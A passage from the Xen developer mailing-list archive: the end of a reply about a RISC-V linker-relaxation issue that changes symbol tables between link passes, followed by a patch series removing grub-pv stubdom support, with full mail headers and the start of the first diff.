>> pass-2-vs-pass-3 check was extended to it in commit aa786d6e3467
>> ("non-x86/symbols: check table sizes don't change between linking
>> passes 2 and 3").
> 
> ... Arm the problem was with a symbol (dis)appearing from/in the ELF
> symbol table. The situation looks to be different here. Sadly ...

I will rephrase then this paragraph to:

This takes the same remedy as commit 35de7285d508 ("Arm: do a 4th
linking pass if necessary"), though the underlying cause differs:
here no symbol (dis)appears from the ELF symbol table; instead the
set of end markers emitted by tools/symbols legitimately changes,
because want_symbol_end() depends on code layout, and layout differs
between passes due to linker relaxation.

Or it could be just dropped.

> 
>> Signed-off-by: Oleksii Kurochko <oleksii.kurochko@gmail.com>
>> ---
>> I faced this issue again in downstream:
>>    https://gitlab.com/xen-project/people/olkur/xen/-/jobs/15171254706
>>
>> It was found that the difference between .xen-syms.0 and .xen-syms.1 is in
>> alignment(?) gap between turn_on_mmu() and the end of simple_strtoull.
>> Specifically 0xffffffffc00c05b0 is present in pass 1 but not present in
>> pass 2 (where end of simple_strtoull() is just equal to ffffffffc00c05c0)
>> because code was shifted:
>>
>> ```
>> .xen-syms.0:     file format elf64-littleriscv
>>
>> ...
>>
>> ffffffffc00c0534:       f2e794e3                bne     a5,a4,ffffffffc00c045c <simple_strtoull+0x18>
>> ffffffffc00c0538:       00280813                addi    a6,a6,2
>> ffffffffc00c053c:       f21ff06f                j       ffffffffc00c045c <simple_strtoull+0x18>
>> ffffffffc00c0540:       00068813                mv      a6,a3
>> ffffffffc00c0544:       00800613                li      a2,8
>> ffffffffc00c0548:       f15ff06f                j       ffffffffc00c045c <simple_strtoull+0x18>
>> ffffffffc00c054c:       00277713                andi    a4,a4,2
>> ffffffffc00c0550:       04070463                beqz    a4,ffffffffc00c0598 <simple_strtoull+0x154>
>> ffffffffc00c0554:       fe06869b                addiw   a3,a3,-32
>> ffffffffc00c0558:       0ff6f693                zext.b  a3,a3
>> ffffffffc00c055c:       fc96879b                addiw   a5,a3,-55
>> ffffffffc00c0560:       04c7f263                bgeu    a5,a2,ffffffffc00c05a4 <simple_strtoull+0x160>
>> ffffffffc00c0564:       02a60533                mul     a0,a2,a0
>> ffffffffc00c0568:       00f50533                add     a0,a0,a5
>> ffffffffc00c056c:       00180813                addi    a6,a6,1
>> ffffffffc00c0570:       00084683                lbu     a3,0(a6)
>> ffffffffc00c0574:       0006879b                sext.w  a5,a3
>> ffffffffc00c0578:       00d30733                add     a4,t1,a3
>> ffffffffc00c057c:       00074703                lbu     a4,0(a4)
>> ffffffffc00c0580:       04477893                andi    a7,a4,68
>> ffffffffc00c0584:       02088063                beqz    a7,ffffffffc00c05a4 <simple_strtoull+0x160>
>> ffffffffc00c0588:       00477893                andi    a7,a4,4
>> ffffffffc00c058c:       fc0880e3                beqz    a7,ffffffffc00c054c <simple_strtoull+0x108>
>> ffffffffc00c0590:       fd07879b                addiw   a5,a5,-48
>> ffffffffc00c0594:       fcdff06f                j       ffffffffc00c0560 <simple_strtoull+0x11c>
>> ffffffffc00c0598:       fc97879b                addiw   a5,a5,-55
>> ffffffffc00c059c:       fc5ff06f                j       ffffffffc00c0560 <simple_strtoull+0x11c>
>> ffffffffc00c05a0:       00000513                li      a0,0
>> ffffffffc00c05a4:       00058463                beqz    a1,ffffffffc00c05ac <simple_strtoull+0x168>
>> ffffffffc00c05a8:       0105b023                sd      a6,0(a1)
>> ffffffffc00c05ac:       00008067                ret
>>          ...
>>
>> ffffffffc00c05c0 <turn_on_mmu>:
>> ffffffffc00c05c0:       12000073                sfence.vma
>> ffffffffc00c05c4:       00800293                li      t0,8
>> ffffffffc00c05c8:       03c29293                slli    t0,t0,0x3c
>> ffffffffc00c05cc:       000fc317                auipc   t1,0xfc
>> ffffffffc00c05d0:       a3430313                addi    t1,t1,-1484 # ffffffffc01bc000 <stage1_pgtbl_root>
>> ffffffffc00c05d4:       00c35313                srli    t1,t1,0xc
>> ffffffffc00c05d8:       00536333                or      t1,t1,t0
>> ffffffffc00c05dc:       18031073                csrw    satp,t1
>> ffffffffc00c05e0:       00050067                jr      a0
>>
>> ffffffffc00c05e4 <_ident_end>:
>> ffffffffc00c05e4:       0000                    .insn   2, 0x0000
>>          ...
>> ```
> 
> ... with all of this disassembly provided it still doesn't become clear what
> changed from .xen-syms.0 to .xen-syms.1.

The disassembly was meant to show the 16-byte padding gap between the
end of simple_strtoull() and (aligned) turn_on_mmu() in .xen-syms.0.
In .xen-syms.1 that gap is gone, which is what removes the end marker
and shrinks symbols_addresses by 8 and symbols_names by 1, as
explained above.

The actual code change is earlier in .text. Inserting the symbol
table (~24k of .rodata) pushes .init.text from 0xffffffffc0148000
to 0xffffffffc014e000. Several calls from .text into .init.text
(e.g. to alloc_boot_pages()/init_boot_pages()) thereby cross JAL's
Â±1MB reach, so the linker can no longer relax them:

.xen-syms.0:
     <caller>: jal   ffffffffc0152000 <alloc_boot_pages>

.xen-syms.1:
     <caller>: auipc ra,0xfc
               jalr  1044(ra) # ffffffffc015800c <alloc_boot_pages>

Four such call sites grow .text by 16 bytes in total, which is what
shifts simple_strtoull by +0x10 and closes the padding gap before
the (aligned) turn_on_mmu.

~ Oleksii




From xen-devel-bounces@lists.xenproject.org Tue Jul 07 08:35:12 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 08:35:12 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356030.1610680 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1Gk-0000GI-NS; Tue, 07 Jul 2026 08:35:06 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356030.1610680; Tue, 07 Jul 2026 08:35:06 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1Gk-0000GB-Jp; Tue, 07 Jul 2026 08:35:06 +0000
Received: by outflank-mailman (input) for mailman id 1356030;
 Tue, 07 Jul 2026 08:35:05 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wh1Gj-0000G5-0b
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 08:35:05 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh1Gh-003pxd-Ph
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 10:35:03 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a4cba2e-e002-0a2a0a5209dd-0a2a4504e878-30
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:35:03 +0200
Received: from [195.135.223.131] (helo=smtp-out2.suse.de)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a4cba37-a01d-0a2a45040019-c387df83dab2-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:35:03 +0200
Received: from imap1.dmz-prg2.suse.org (imap1.dmz-prg2.suse.org
 [IPv6:2a07:de40:b281:104:10:150:64:97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out2.suse.de (Postfix) with ESMTPS id B03FD7586F;
 Tue,  7 Jul 2026 08:35:02 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 68995779AE;
 Tue,  7 Jul 2026 08:35:02 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id Y0g3GDa6TGrFDAAAD6G6ig
 (envelope-from <jgross@suse.com>); Tue, 07 Jul 2026 08:35:02 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"; dkim=pass header.s=susede1 header.d=suse.com header.i="@suse.com" header.h="From:Date:Message-ID:To:Cc:MIME-Version:Content-Transfer-Encoding"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783413303; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=Lsk27ojzPEvWQ36wEb4dcEytizhnkBvm0xAjoAOox94=;
	b=PvmwMWSbcewUqYTuWtvFJtKs1i6FbVOobMucridu57BaqnI/gALSTYNCs3rt9V5OKZdzwS
	ZLrrJKsvbzDpAPStuzqgrYecvyPAEjZ+gV6QKYGaO4NL11imXT9nroNf3JAS1Lt47LaCvi
	hEFmppdexQUJ/nS5DGkOUVJotcLBBUk=
Authentication-Results: smtp-out2.suse.de;
	dkim=pass header.d=suse.com header.s=susede1 header.b="NCh/kfFr"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783413302; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:  content-transfer-encoding:content-transfer-encoding;
	bh=Lsk27ojzPEvWQ36wEb4dcEytizhnkBvm0xAjoAOox94=;
	b=NCh/kfFrcU1jUsneZzt7UkuQMvSwE5+1DjuZZHEVsoR02qHQLDB85OvGFsmpPgrfaGiy6w
	940q1SCJPqxjwvBsg8D/iFPiYOo5n4sAAxzdhBHv7zPXcVFmI6ikPpZISkCe4iBJFj6RFv
	lHcMRGfCNH4hymoLFUdTuHjGWmZk5XE=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Samuel Thibault <samuel.thibault@ens-lyon.org>
Subject: [PATCH 0/5] stubdom: remove grub-pv
Date: Tue,  7 Jul 2026 10:34:51 +0200
Message-ID: <20260707083459.226297-1-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Rspamd-Action: no action
X-Spam-Level: 
X-Spamd-Result: default: False [-3.01 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	MID_CONTAINS_FROM(1.00)[];
	R_MISSING_CHARSET(0.50)[];
	R_DKIM_ALLOW(-0.20)[suse.com:s=susede1];
	NEURAL_HAM_SHORT(-0.20)[-0.999];
	MIME_GOOD(-0.10)[text/plain];
	MX_GOOD(-0.01)[];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	RCVD_COUNT_TWO(0.00)[2];
	ARC_NA(0.00)[];
	RBL_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:104:10:150:64:97:from];
	FROM_HAS_DN(0.00)[];
	MIME_TRACE(0.00)[0:+];
	DNSWL_BLOCKED(0.00)[2a07:de40:b281:106:10:150:64:167:received,2a07:de40:b281:104:10:150:64:97:from];
	RECEIVED_SPAMHAUS_BLOCKED_OPENRESOLVER(0.00)[2a07:de40:b281:106:10:150:64:167:received];
	RCPT_COUNT_SEVEN(0.00)[10];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	DBL_BLOCKED_OPENRESOLVER(0.00)[suse.com:mid,suse.com:dkim,imap1.dmz-prg2.suse.org:helo,imap1.dmz-prg2.suse.org:rdns];
	RCVD_TLS_ALL(0.00)[];
	FROM_EQ_ENVFROM(0.00)[];
	TO_DN_SOME(0.00)[];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	DKIM_TRACE(0.00)[suse.com:+]
X-Rspamd-Server: rspamd2.dmz-prg2.suse.org
X-Rspamd-Queue-Id: B03FD7586F
X-Spam-Score: -3.01
X-purgate-ID: tlsNG-ebf023/1783413303-AFF251CC-343CBADF/0/0
X-purgate-type: clean
X-purgate-size: 4663

The grub-pv stubdoms (32- and 64-bit) are disabled by default since
several years now.

Remove them in order to enable removing quite some more code from Xen.
In case someone is really depending on grub-pv, they can easily take it
from an older Xen build, as there is no Xen version dependency in
grub-pv (a version built 3 years ago has been tested to still work
with current 4.23 staging Xen).

Note that after this series has been committed, some additional
cleanup is possible by removing stubdom libpci and zlib support, but
this will require a modification of Mini-OS depending on these patches.

Juergen Gross (5):
  stubdom: remove support for grub-pv
  stubdom: remove support for building in 32-bit mode
  stubdom: remove building of libxenguest and libxenctrl
  docs: remove stale stubdom entries from stubdom.txt
  tools/libxenguest: remove Mini-OS specific parts

 Makefile                                      |    6 -
 config/Stubdom.mk.in                          |    3 -
 docs/misc/stubdom.txt                         |   69 -
 stubdom/.gitignore                            |    1 -
 stubdom/Makefile                              |   69 +-
 stubdom/configure                             |   65 -
 stubdom/configure.ac                          |    2 -
 stubdom/grub.patches/00cvs                    | 1022 -----
 stubdom/grub.patches/10graphics.diff          | 2297 -----------
 stubdom/grub.patches/11graphics-keyboard.diff |   13 -
 stubdom/grub.patches/20print_func.diff        |   52 -
 stubdom/grub.patches/30savedefault.diff       |  186 -
 .../grub.patches/40ext3_256byte_inode.diff    |  114 -
 stubdom/grub.patches/50fs_fulldisk.diff       |   72 -
 stubdom/grub.patches/60ext4.diff              |  474 ---
 stubdom/grub.patches/61btrfs.diff             | 3499 -----------------
 stubdom/grub.patches/70compiler_warnings.diff |   45 -
 stubdom/grub.patches/99minios                 | 1570 --------
 stubdom/grub/Makefile                         |   88 -
 stubdom/grub/boot-x86_32.S                    |  112 -
 stubdom/grub/boot-x86_64.S                    |  108 -
 stubdom/grub/config.h                         |   12 -
 stubdom/grub/kexec.c                          |  434 --
 stubdom/grub/mini-os.c                        |  771 ----
 stubdom/grub/mini-os.h                        |    7 -
 stubdom/grub/minios.cfg                       |    4 -
 stubdom/grub/osdep.h                          |   30 -
 tools/libs/guest/Makefile.common              |   15 -
 tools/libs/guest/xg_dom_decompress_unsafe.c   |   48 -
 tools/libs/guest/xg_dom_decompress_unsafe.h   |   28 -
 .../guest/xg_dom_decompress_unsafe_bzip2.c    |   14 -
 .../libs/guest/xg_dom_decompress_unsafe_lz4.c |   39 -
 .../guest/xg_dom_decompress_unsafe_lzma.c     |   14 -
 .../guest/xg_dom_decompress_unsafe_lzo1x.c    |   44 -
 .../libs/guest/xg_dom_decompress_unsafe_xz.c  |   46 -
 .../guest/xg_dom_decompress_unsafe_zstd.c     |   44 -
 36 files changed, 1 insertion(+), 11416 deletions(-)
 delete mode 100644 stubdom/grub.patches/00cvs
 delete mode 100644 stubdom/grub.patches/10graphics.diff
 delete mode 100644 stubdom/grub.patches/11graphics-keyboard.diff
 delete mode 100644 stubdom/grub.patches/20print_func.diff
 delete mode 100644 stubdom/grub.patches/30savedefault.diff
 delete mode 100644 stubdom/grub.patches/40ext3_256byte_inode.diff
 delete mode 100644 stubdom/grub.patches/50fs_fulldisk.diff
 delete mode 100644 stubdom/grub.patches/60ext4.diff
 delete mode 100644 stubdom/grub.patches/61btrfs.diff
 delete mode 100644 stubdom/grub.patches/70compiler_warnings.diff
 delete mode 100644 stubdom/grub.patches/99minios
 delete mode 100644 stubdom/grub/Makefile
 delete mode 100644 stubdom/grub/boot-x86_32.S
 delete mode 100644 stubdom/grub/boot-x86_64.S
 delete mode 100644 stubdom/grub/config.h
 delete mode 100644 stubdom/grub/kexec.c
 delete mode 100644 stubdom/grub/mini-os.c
 delete mode 100644 stubdom/grub/mini-os.h
 delete mode 100644 stubdom/grub/minios.cfg
 delete mode 100644 stubdom/grub/osdep.h
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe.h
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_bzip2.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_lz4.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_lzma.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_lzo1x.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_xz.c
 delete mode 100644 tools/libs/guest/xg_dom_decompress_unsafe_zstd.c

-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 07 08:35:14 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 07 Jul 2026 08:35:14 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356031.1610688 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1Gs-0000US-0d; Tue, 07 Jul 2026 08:35:14 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356031.1610688; Tue, 07 Jul 2026 08:35:13 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wh1Gr-0000UL-SR; Tue, 07 Jul 2026 08:35:13 +0000
Received: by outflank-mailman (input) for mailman id 1356031;
 Tue, 07 Jul 2026 08:35:13 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jgross@suse.com>) id 1wh1Gq-0000Tc-JG
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 08:35:13 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wh1Gp-003BhZ-6l
 for xen-devel@lists.xenproject.org; Tue, 07 Jul 2026 10:35:11 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jgross@suse.com>)
 id 6a4cba3e-5cb7-0a2a0a5109dd-0a2a4502d350-10
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:35:11 +0200
Received: from [195.135.223.130] (helo=smtp-out1.suse.de)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jgross@suse.com>)
 id 6a4cba3e-5a27-0a2a45020019-c387df828936-3
 for <xen-devel@lists.xenproject.org>; Tue, 07 Jul 2026 10:35:10 +0200
Received: from imap1.dmz-prg2.suse.org (unknown [10.150.64.97])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by smtp-out1.suse.de (Postfix) with ESMTPS id 7966D7393D;
 Tue,  7 Jul 2026 08:35:08 +0000 (UTC)
Received: from imap1.dmz-prg2.suse.org (localhost [127.0.0.1])
 (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)
 key-exchange X25519 server-signature RSA-PSS (4096 bits) server-digest SHA256)
 (No client certificate requested)
 by imap1.dmz-prg2.suse.org (Postfix) with ESMTPS id 131FB779AE;
 Tue,  7 Jul 2026 08:35:08 +0000 (UTC)
Received: from dovecot-director2.suse.de ([2a07:de40:b281:106:10:150:64:167])
 by imap1.dmz-prg2.suse.org with ESMTPSA id HERSAzy6TGrPDAAAD6G6ig
 (envelope-from <jgross@suse.com>); Tue, 07 Jul 2026 08:35:08 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=fail header.s=susede1 header.d=suse.com header.i="@suse.com"; dkim=fail header.s=susede1 header.d=suse.com header.i="@suse.com"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783413309; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=r3kUMWxDqcJq/dkptHDRYWJQPRlsGlS/kRvM8q2jwa0=;
	b=IwUhHLiY21/y99Pp1re/0/bJIiKZnRorvKi57vYp8xnbuNg1i5Wx65sVDysEExUcn5cvrZ
	ptz+YFs3FDq3oQKPpQJPh4uMxTVWrF/2AOBDF5V5nF8qeoyog9MSsm8sr/nKtkkYY+VthI
	Z/mGJlLlQ/8WDkatxSd30XEht8JkWLc=
Authentication-Results: smtp-out1.suse.de;
	none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=suse.com; s=susede1;
	t=1783413308; h=from:from:reply-to:date:date:message-id:message-id:to:to:cc:cc:
	 mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=r3kUMWxDqcJq/dkptHDRYWJQPRlsGlS/kRvM8q2jwa0=;
	b=ZdfwOFEPh/zpn7Xx8GqwmAHf04Xv7A6os1Cara5MvLoX0vXn3qcPFML929QFttk8ICGAoI
	1T2uLnvHa5LFKhnxMarz7k079dU3M/bC1GWcAyONq6n+lj4quLDfNs/6by2T71tiyBTwPJ
	vZYT1+zEm90jHfGhylK9OHcigR7Wgm0=
From: Juergen Gross <jgross@suse.com>
To: xen-devel@lists.xenproject.org
Cc: Juergen Gross <jgross@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	=?UTF-8?q?Roger=20Pau=20Monn=C3=A9?= <roger.pau@citrix.com>,
	Stefano Stabellini <sstabellini@kernel.org>,
	Samuel Thibault <samuel.thibault@ens-lyon.org>
Subject: [PATCH 1/5] stubdom: remove support for grub-pv
Date: Tue,  7 Jul 2026 10:34:52 +0200
Message-ID: <20260707083459.226297-2-jgross@suse.com>
X-Mailer: git-send-email 2.54.0
In-Reply-To: <20260707083459.226297-1-jgross@suse.com>
References: <20260707083459.226297-1-jgross@suse.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Spam-Flag: NO
X-Spam-Score: -3.26
X-Spamd-Result: default: False [-3.26 / 50.00];
	BAYES_HAM(-3.00)[100.00%];
	NEURAL_HAM_LONG(-1.00)[-1.000];
	MID_CONTAINS_FROM(1.00)[];
	NEURAL_HAM_SHORT(-0.16)[-0.803];
	MIME_GOOD(-0.10)[text/plain];
	FUZZY_RATELIMITED(0.00)[rspamd.com];
	RCVD_VIA_SMTP_AUTH(0.00)[];
	ARC_NA(0.00)[];
	RCPT_COUNT_SEVEN(0.00)[10];
	RCVD_TLS_ALL(0.00)[];
	DKIM_SIGNED(0.00)[suse.com:s=susede1];
	TO_MATCH_ENVRCPT_ALL(0.00)[];
	FROM_HAS_DN(0.00)[];
	MIME_TRACE(0.00)[0:+];
	FROM_EQ_ENVFROM(0.00)[];
	RCVD_COUNT_TWO(0.00)[2];
	TO_DN_SOME(0.00)[]
X-Spam-Level: 
X-purgate-ID: tlsNG-720697/1783413310-54719465-3885733C/0/0
X-purgate-type: clean
X-purgate-size: 354214

The Mini-OS based grub-pv is not being built by default since Xen 4.16.
Additionally it can be replaced in most cases by the more modern pvgrub
(part of grub upstream), while grub-pv is based on legacy grub 0.97.

In case someone is really depending on grub-pv, an old build from a
previous Xen version can be used without any problem, as only stable
hypercall interfaces are used by it.

Remove grub-pv from the build system.

Signed-off-by: Juergen Gross <jgross@suse.com>
---
 Makefile                                      |    3 -
 config/Stubdom.mk.in                          |    3 -
 stubdom/.gitignore                            |    1 -
 stubdom/Makefile                              |   54 -
 stubdom/configure                             |   65 -
 stubdom/configure.ac                          |    2 -
 stubdom/grub.patches/00cvs                    | 1022 -----
 stubdom/grub.patches/10graphics.diff          | 2297 -----------
 stubdom/grub.patches/11graphics-keyboard.diff |   13 -
 stubdom/grub.patches/20print_func.diff        |   52 -
 stubdom/grub.patches/30savedefault.diff       |  186 -
 .../grub.patches/40ext3_256byte_inode.diff    |  114 -
 stubdom/grub.patches/50fs_fulldisk.diff       |   72 -
 stubdom/grub.patches/60ext4.diff              |  474 ---
 stubdom/grub.patches/61btrfs.diff             | 3499 -----------------
 stubdom/grub.patches/70compiler_warnings.diff |   45 -
 stubdom/grub.patches/99minios                 | 1570 --------
 stubdom/grub/Makefile                         |   88 -
 stubdom/grub/boot-x86_32.S                    |  112 -
 stubdom/grub/boot-x86_64.S                    |  108 -
 stubdom/grub/config.h                         |   12 -
 stubdom/grub/kexec.c                          |  434 --
 stubdom/grub/mini-os.c                        |  771 ----
 stubdom/grub/mini-os.h                        |    7 -
 stubdom/grub/minios.cfg                       |    4 -
 stubdom/grub/osdep.h                          |   30 -
 26 files changed, 11038 deletions(-)
 delete mode 100644 stubdom/grub.patches/00cvs
 delete mode 100644 stubdom/grub.patches/10graphics.diff
 delete mode 100644 stubdom/grub.patches/11graphics-keyboard.diff
 delete mode 100644 stubdom/grub.patches/20print_func.diff
 delete mode 100644 stubdom/grub.patches/30savedefault.diff
 delete mode 100644 stubdom/grub.patches/40ext3_256byte_inode.diff
 delete mode 100644 stubdom/grub.patches/50fs_fulldisk.diff
 delete mode 100644 stubdom/grub.patches/60ext4.diff
 delete mode 100644 stubdom/grub.patches/61btrfs.diff
 delete mode 100644 stubdom/grub.patches/70compiler_warnings.diff
 delete mode 100644 stubdom/grub.patches/99minios
 delete mode 100644 stubdom/grub/Makefile
 delete mode 100644 stubdom/grub/boot-x86_32.S
 delete mode 100644 stubdom/grub/boot-x86_64.S
 delete mode 100644 stubdom/grub/config.h
 delete mode 100644 stubdom/grub/kexec.c
 delete mode 100644 stubdom/grub/mini-os.c
 delete mode 100644 stubdom/grub/mini-os.h
 delete mode 100644 stubdom/grub/minios.cfg
 delete mode 100644 stubdom/grub/osdep.h

diff --git a/Makefile b/Makefile
index 67b71ac3d4..eb388726b0 100644
--- a/Makefile
+++ b/Makefile
@@ -71,9 +71,6 @@ build-tools-oxenstored: build-tools-public-headers
 .PHONY: build-stubdom
 build-stubdom: mini-os-dir build-tools-public-headers
 	$(MAKE) -C stubdom build
-ifeq (x86_64,$(XEN_TARGET_ARCH))
-	XEN_TARGET_ARCH=x86_32 $(MAKE) -C stubdom pv-grub-if-enabled
-endif
 
 define do-subtree
 $(1)/%: FORCE
diff --git a/config/Stubdom.mk.in b/config/Stubdom.mk.in
index b399d77740..0d70d03941 100644
--- a/config/Stubdom.mk.in
+++ b/config/Stubdom.mk.in
@@ -23,9 +23,6 @@ NEWLIB_URL          := @NEWLIB_URL@
 LWIP_VERSION        := @LWIP_VERSION@
 LWIP_URL            := @LWIP_URL@
 
-GRUB_VERSION        := @GRUB_VERSION@
-GRUB_URL            := @GRUB_URL@
-
 GMP_VERSION         := @GMP_VERSION@
 GMP_URL             := @GMP_URL@
 
diff --git a/stubdom/.gitignore b/stubdom/.gitignore
index 1b69656d45..08f2e9b432 100644
--- a/stubdom/.gitignore
+++ b/stubdom/.gitignore
@@ -9,7 +9,6 @@
 /cross-root-*
 /gcc-*
 /gmp-*
-/grub-*
 /include
 /libs-*
 /libxencall-*
diff --git a/stubdom/Makefile b/stubdom/Makefile
index acd5e56f16..850e8544ca 100644
--- a/stubdom/Makefile
+++ b/stubdom/Makefile
@@ -361,32 +361,6 @@ vtpmmgr-minios-config.mk: $(CURDIR)/vtpmmgr/minios.cfg
 vtpmmgr: cross-polarssl vtpmmgr-minios-config.mk
 	XEN_TARGET_ARCH="$(XEN_TARGET_ARCH)" CPPFLAGS="$(TARGET_CPPFLAGS) $(shell cat vtpmmgr-minios-config.mk)" CFLAGS="$(TARGET_CFLAGS)" $(MAKE) -C $@
 
-######
-# Grub
-######
-
-grub-$(GRUB_VERSION).tar.gz:
